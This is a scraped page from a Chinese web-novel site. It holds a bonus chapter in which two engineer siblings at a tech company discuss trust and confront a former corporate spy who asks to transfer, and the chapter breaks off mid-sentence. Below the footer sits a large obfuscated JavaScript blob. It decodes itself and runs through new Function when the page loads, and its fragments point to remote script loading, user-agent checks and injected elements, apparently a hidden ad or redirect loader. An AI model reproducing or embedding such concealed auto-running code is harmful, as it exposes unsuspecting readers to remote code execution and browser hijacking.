首页
[切换至繁体版]
返回

番外第118章凌晨三点的代码与月光

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    番外第118章凌晨三点的代码与月光(第1/2页)
    龙胆科技大厦的东侧,有一面巨大的落地窗。
    凌晨三点十七分,姚浮萍站在窗前,看着外面城市稀疏的灯火,手里的咖啡已经凉透了。
    “姐,你又发呆。”
    姚厚朴的声音从身后传来,带着几分无奈。他端着一杯热牛奶走过来,把凉掉的咖啡换走,牛奶塞进她手里。
    “喝了,然后去睡。剩下的我来。”
    姚浮萍没动。她低头看着那杯牛奶,白瓷杯壁上印着一只卡通恐龙,是去年公司年会时抽的盲盒奖品。姚厚朴的办公桌上摆了一排,美其名曰“技术部的守护神”。
    “厚朴,”她忽然开口,“你说我们做这些,到底是为了什么?”
    姚厚朴愣了一下。他看了看姐姐的侧脸——落地窗的玻璃映出她的轮廓,眉眼间是少见的茫然。这种表情,他只在十年前父母出事那年见过一次。
    “姐,你没事吧?”
    “没事。”姚浮萍扯了扯嘴角,“就是……突然有点累。”
    累。这个字从她嘴里说出来,比任何事都让姚厚朴心惊。他姐是什么人?是能在机房里连熬三天三夜、代码写得比吃饭还顺、bug修得比喝水还快的人。是技术部的定海神针,是龙胆草最信任的技术合伙人,是整个公司公认的“铁娘子”。
    铁娘子说她累了。
    姚厚朴沉默片刻,搬了把椅子在她旁边坐下。
    “姐,你还记得咱们为什么来这儿吗?”
    姚浮萍没说话。
    “我记得。”姚厚朴看着窗外,声音很轻,“那年爸妈出事,公司被坑,核心技术被盗,他们一夜之间老了十岁。你说,咱们得做点什么。咱们得让那些靠偷靠骗的人知道,这行当,有本事的人说了算。”
    姚浮萍的手指微微收紧。
    “后来咱们遇到龙胆草。”姚厚朴继续说,“他说他要做一家干干净净的公司,靠技术吃饭,不搞歪门邪道。你说,这人行。咱们就跟了。”
    “这一跟,就是八年。”
    八年。姚浮萍在心里默念这个数字。八年前,她和弟弟还是刚从学校出来的愣头青,揣着一腔热血,满脑子都是改变世界的理想。八年后,他们有了自己的团队,有了拿得出手的产品,有了行业的认可。
    可也有了越来越多的麻烦。
    数据泄露,商业间谍,恶意收购,舆论围剿……一波未平一波又起。每一次她都以为自己撑得住,每一次她都咬着牙带队冲过去。可这一次,当林晚的身份曝光的那一刻,她忽然觉得有什么东西碎了。
    不是信任。是她对自己的认知。
    “我查了她那么久,”姚浮萍的声音有些沙哑,“我以为我什么都算到了。我以为只要防火墙够强、权限够严、监控够密,就没有人能从我眼皮子底下偷东西。可她就在我身边待了半年,我愣是没发现。”
    “姐……”
    “厚朴,你说我是不是太自负了?”她转过头,看着弟弟,“我一直觉得,技术能解决一切问题。代码不会骗人,数据不会撒谎,只要把系统做到极致,人就钻不了空子。可这一次让我知道,人,才是最大的漏洞。”
    姚厚朴沉默了好一会儿。
    “姐,你说得对。”他忽然说,“人是最大的漏洞。可人也是最大的防火墙。”
    姚浮萍一愣。
    “林晚的事,我也生气。”姚厚朴说,“可我后来想,她为什么最后反水了?她为什么不把核心算法交出去?她为什么愿意在发布会上公开指证荆棘科技?”
    “因为……”姚浮萍顿了顿,“因为龙胆草帮她救了家人。”
    “这只是其一。”姚厚朴摇头,“更重要的是,她在这里待了半年,她看到了咱们是什么样的人。曹辛夷给她递过胃药,九里香给她做过职业规划,龙胆草带她吃过十几次加班夜宵。我给她讲过代码逻辑,你——”他看着姐姐,“你撞见她碰数据库那次,本来可以直接上报的。你只是警告了她,让她以后注意权限规范。”
    姚浮萍沉默了。
    “她后来跟我说过一句话。”姚厚朴说,“她说,她这辈子第一次知道,原来一个公司里,可以不靠勾心斗角活下去。原来真的有人,是为了把事做好才聚在一起的。”
    窗外,远处有一辆夜班公交车缓缓驶过,车灯在夜色里拖出长长的光痕。
    “所以姐,咱们做的这些事,不是为了防人。”姚厚朴站起身,拍了拍姐姐的肩膀,“是为了让更多人看到,还有另一种活法。”
    姚浮萍看着弟弟,忽然觉得有些陌生。这个从小跟在她屁股后面跑、被她嫌弃“代码写得慢”“逻辑不够严谨”的弟弟,什么时候变得这么会说话了?
    “厚朴,”她忽然问,“你是不是谈恋爱了?”
    姚厚朴的脸腾地红了:“姐!这都哪儿跟哪儿!”
    “不然怎么突然变这么会安慰人?”
    “我……我这是技术人员的正常逻辑推导!”姚厚朴急了,“数据表明你现在的情绪状态需要外部干预,我就——哎你别笑!我认真的!”
    姚浮萍确实笑了。这是她这几天第一次笑。虽然笑得有点勉强,但嘴角是真的扬起来了。
    “行了,知道你关心我。”她站起身,把那杯牛奶一口气喝完,把杯子塞回弟弟手里,“我去睡一会儿。你也别熬太晚,明天还有会。”
    “等等,姐。”姚厚朴叫住她,“那个……有件事,我一直没跟你说。”
    姚浮萍回头:“什么事?”
    姚厚朴犹豫了一下,从口袋里掏出手机,翻出一张照片递给她。
    照片上是一个女孩,二十出头的样子,扎着马尾,戴着黑框眼镜,正对着镜头傻笑。背景是龙胆科技的食堂,餐盘里放着两荤一素。
    “这是谁?”
    “测试组的,新来的,叫周小橦。”姚厚朴的声音有点不自然,“就是……上次五彩绫镜封测,她发现的那个逻辑漏洞,你还有印象吗?”
    姚浮萍想起来了。那个漏洞藏得很深,常规测试根本发现不了。当时她还夸了一句“这个新人有点东西”。
    “然后呢?”
    “然后……也没什么然后。”姚厚朴把手机收起来,耳朵尖红得像要滴血,“就是她总来问我技术问题,问着问着就……就熟了。”
    姚浮萍看着弟弟,眼中闪过一丝笑意。
    “厚朴,你知道咱们这行有个定律吗?”
    “什么定律?”
    “程序员脱单的概率,和代码质量成反比。”姚浮萍拍拍他的肩,“你的代码质量一直不错,姐很欣慰。”
    姚厚朴愣了两秒才反应过来,脸更红了:“姐!”
    姚浮萍已经笑着走了。
    她回到自己办公室,没有开灯。月光从窗户照进来,在地上铺开一片银白。她坐在椅子上,看着那片月光,脑子里想着弟弟刚才的话。
    让更多人看到,还有另一种活法。
    她想起八年前,她和弟弟坐在出租屋里,对着电脑屏幕敲下第一行代码。那时他们什么都没有,只有一腔热血和一个念头——要做点不一样的。
    后来他们遇到了龙胆草。那个男人说,他要做一家公司,不靠关系,不靠钻营,不靠偷奸耍滑,就靠技术,靠产品,靠实实在在的东西。
    当时她觉得这人要么是天真,要么是装。可她后来发现,他是真的。
    他真的把大部分利润投进了研发。他真的在所有人反对的情况下,坚持给技术部最好的待遇。他真的在对手用高薪挖人的时候,对每一个想走的人说:“想清楚就好,回来随时欢迎。”
    这样的人,值得跟。
    门被敲响了。
    “进来。”
    门开了,进来的是林晚。
    姚浮萍的表情冷了下来。这半个月,她和林晚几乎没有单独说过话。工作上的交接都由厚朴处理,她尽量避开一切需要直接接触的场合。不是因为她还在生气——她知道林晚也是受害者——而是因为她不知道该怎么面对。
    面对一个她曾经信任过、也曾经怀疑过的人。
    “姚总,”林晚站在门口,没有往里走,“能耽误您几分钟吗?”
    姚浮萍沉默片刻,点了点头。
    林晚走进来,在办公桌对面的椅子上坐下。她没有绕弯子,开门见山地说:“我要走了。”
    姚浮萍一愣:“走?”
    “调岗。”林晚说,“我主动申请的,去数据安全公益科普那边。不在总部办公,也不参与核心项目了。”
    姚浮萍张了张嘴,一时不知道该说什么。
    “我知道您不信任我。”林晚的声音很平静,“我也不怪您。换做是我,我也没法信任一个曾经是商业间谍的人。所以我走,对大家都好。”
    “林晚……”姚浮萍终于开口,声音有些艰涩,“我没有要赶你走的意思。”
    “我知道。”林晚看着她,“龙总没有,曹总监没有,九里总监也没有。是您也没有。可是姚总,有些裂痕,不是不赶人就能修复的。”
    (本章未完,请点击下一页继续阅读)番外第118章凌晨三点的代码与月光(第2/2页)
    她顿了顿,继续说:“这半年,我在这里学到了很多东西。技术层面的,做人层面的,都有。我第一次知道,原来一个团队可以这样运转——没有互相猜忌,没有尔虞我诈,每个人都想把事情做好。这种氛围,我以前只在书上见过。”
    “所以我想,”她笑了笑,笑容里有些释然,“我不能让它因为我,变得更糟。我走了,大家就不用每次看到我都想起那些事。时间久了,慢慢就淡了。”
    姚浮萍看着她,心里忽然涌起一股复杂的情绪。
    这个女孩,比她想象的要通透。
    “你家人那边,安置好了吗?”
    “好了。”林晚点点头,“龙总帮忙找的房子,离他们上班的地方近。我妈的身体也稳定了。我弟说,等他毕业了,也要来龙胆科技应聘。”
    “欢迎。”姚浮萍说,“只要他技术过硬。”
    林晚笑了。这次的笑容比刚才真实了些。
    “姚总,我有个问题想问问您。”
    “你说。”
    “您恨我吗?”
    姚浮萍沉默了很久。
    “我不知道。”她最后说,“我恨过。刚知道的时候,我恨不得当面骂你一顿。可后来我想,换成我在你的位置上,有人拿我家人威胁,我能怎么办?我不知道。”
    她看着林晚,声音放轻了些:“我更恨的,是我自己。我在你身边半年,没看出来你不对劲。我以为只要技术够强,就没有人能钻空子。可人心不是代码,人心没法用算法推演。”
    林晚低下头,好一会儿没说话。
    “姚总,”她再抬起头时,眼眶有点红,“您知道我最羡慕您什么吗?”
    姚浮萍没说话。
    “我最羡慕您的,不是您的技术有多厉害。是您有一个可以完全信任的人。”林晚说,“您弟弟,他一直在您身边。不管发生什么事,他都不会离开。这种安全感,我没有过。”
    姚浮萍的心猛地抽了一下。
    她想起凌晨三点,厚朴端来的那杯热牛奶。想起他说“人是最大的防火墙”。想起他这些天默默扛起她不想做的事,只为了让她喘口气。
    她忽然意识到,这些年来,她一直在保护弟弟——教他写代码,帮他挡麻烦,替他收拾烂摊子。可她从来没想过,弟弟也在保护她。用一种她习以为常到几乎忽略的方式。
    “林晚,”她忽然开口,“调岗的事,先缓一缓。”
    林晚一愣:“为什么?”
    “因为你现在走,才是真的让大家每次看到你都想起那些事。”姚浮萍站起身,走到窗前,背对着她说,“你留下来,好好做事。做出成绩来,让大家看到——当初那个间谍,现在是咱们的人。这才是最好的修复。”
    林晚怔怔地看着她的背影。
    “姚总……”
    “别误会。”姚浮萍转过身,脸上没什么表情,“我还是不信任你。信任这东西,碎了就是碎了,没那么容易粘回去。但我可以给你一个机会,让你用时间证明,你值得被重新信任。”
    她顿了顿,补了一句:“这是技术人员的逻辑。数据会撒谎,但时间不会。做出来的事,比说出来的话,更能说明问题。”
    林晚站在那里,眼眶越来越红。
    “谢谢您。”她的声音有些发抖,“真的,谢谢您。”
    “别谢我。”姚浮萍走回办公桌后坐下,打开电脑,“谢你自己。你要是没在最后关头反水,现在早就进去了。谢龙胆草,是他坚持要给你机会。谢曹辛夷,是她先发现不对劲却没有直接揭发你。谢九里香,是她帮你圆了那么多次谎——”
    她抬起头,看着林晚:“谢所有人,就是别谢我。我只是做了一个技术人员该做的决定:给数据一个纠错的机
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();